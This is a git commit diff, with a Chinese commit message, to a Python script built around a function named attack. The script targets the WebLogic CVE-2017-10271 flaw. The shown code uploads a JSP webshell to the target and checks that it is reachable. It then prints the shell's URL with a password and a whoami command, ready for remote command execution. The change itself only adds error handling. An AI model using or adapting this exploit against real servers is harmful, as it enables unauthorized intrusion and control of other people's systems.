fix: requests报错

This commit is contained in:
rpkr
2019-10-22 17:59:17 +08:00
parent cd45f4d269
commit 2f3cf39ac1

View File

@@ -61,16 +61,20 @@ def attack(URL):
#proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
headers = {"Content-Type":'text/xml',
"User-Agent":'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'}
r = requests.post(url,data=data, headers=headers)
print('上传返回值为500为成功。上传返回值为' + str(r.status_code))
try:
r1 = requests.get(f'{URL}/bea_wls_internal/{shellname}.jsp')
if r1.status_code == 200:
print(f'webshell地址为{URL}/bea_wls_internal/{shellname}.jsp?pwd=fff&cmd=whoami')
else:
r = requests.post(url,data=data, headers=headers)
print('上传返回值为500为成功。上传返回值为' + str(r.status_code))
try:
r1 = requests.get(f'{URL}/bea_wls_internal/{shellname}.jsp')
if r1.status_code == 200:
print(f'webshell地址为{URL}/bea_wls_internal/{shellname}.jsp?pwd=fff&cmd=whoami')
else:
print('获取shell失败。')
except:
print('获取shell失败。')
except:
print('获取shell失败')
except Exception:
print('访问网页失败,未发现-Weblogic-CVE-2017-10271')
print('[+]检测结束-Weblogic-CVE-2017-10271。[+]')
print('\n')